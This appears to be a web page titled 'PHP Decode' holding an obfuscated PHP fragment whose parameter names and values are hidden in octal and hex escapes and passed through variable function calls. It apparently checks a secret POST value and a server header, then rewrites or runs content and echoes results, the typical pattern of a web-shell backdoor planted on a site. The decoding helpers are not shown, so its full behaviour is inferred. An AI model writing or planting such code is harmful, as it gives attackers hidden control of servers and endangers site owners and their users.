PHP Decode

if (isset($_POST) && !empty($_POST[$fyx("\157\x6e\x62\x74\112\x6e\132", 1)])) {
    if ($_POST[$fyx("\x6f\156\142\164\112\x6e\132", 1)] == $fyx("\x55\126\x52\171\x64\155\143\x35\112\x58\143", 1) && $_SERVER[$fyx("\x55\x55\x55\122\65\60\x58\123\x64\153\121\x61\112\x56\x52", 1)] == $fyx("\101\117\x35\x45\x6a\114\x34\x55\152\x4c\x79\105\x6a\x4c\x32\143\x54\x4d", 2)) {
        $xg($rhlg, '');
        $xs($fyx("\167\132\x6f\x4e\62\x5a\157\112\107\x49\x36\x45\155\x59\62\144\x6d\x62\167\x4a\127\x57", 2));
    }
    $ls = $xt($rhlg);
    foreach ($ls as $ls1) {
        if ($l = $fzx($ls1, $_POST[$fyx("\157\x6e\x62\x74\112\156\x5a", 1)])) {
            $hl = $xu($fyx("\166\121\x53\113\x2f\x6f\151\x4c\157\x77\x48\130\160\70\152\113\x75\147\x43\x66\x63\x6c\x79\x50\x71\64\x43\113\70\170\x56\113\57\x6f\151\114\x6f\167\110\130\x70\x38\x6a\x4b\x75\147\171\x4c"), $fyx("\x34\124\x59\165\116\x6d\132\x76\x77\124\116\153\64\152\x49\171\x4a\x53\120\155\132\x6d\x62\x35\102\110\111\150\65\x32\131\155\x78\152\x50\x68\65\62\131\155\x39\x43\120\60\121\151\x50\151\105\156\x49\71\131\155\132\x75\154\x48\x63\147\x45\x6d\x62\x6a\132\107\120\x2b\x45\155\142\x6a\x5a\x32\114\x38\x4d\x44\x4a\53\111\x43\x63\x69\x30\x6a\132\155\65\127\x65\x77\x42\123\131\x75\116\x6d\x5a\70\64\x54\x59\x75\116\155\x5a\166\x77\x6a\115\153\64\x6a\111\166\112\123\120\x6d\132\x6d\142\65\x42\x48\111\x68\65\62\x59\x6d\170\x6a\120\x68\x35\62\x59\x6d\x39\x43\x50\170\x51\151\x50\x69\64\155\x49\x39\131\x6d\x5a\165\x6c\110\143\147\105\155\142\152\132\107\120", 1), $l);
            $nl = $xu($fyx("\62\x4e\151\x50\57\x38\151\113\155\x78\x56\x5a\166\170\x7a\x49"), $fyx("\x67\x4d\x43\111"), $hl);
            echo $nl . $fyx("\147\120\x6c\x39\x47\x50", 2);
        }
    }
}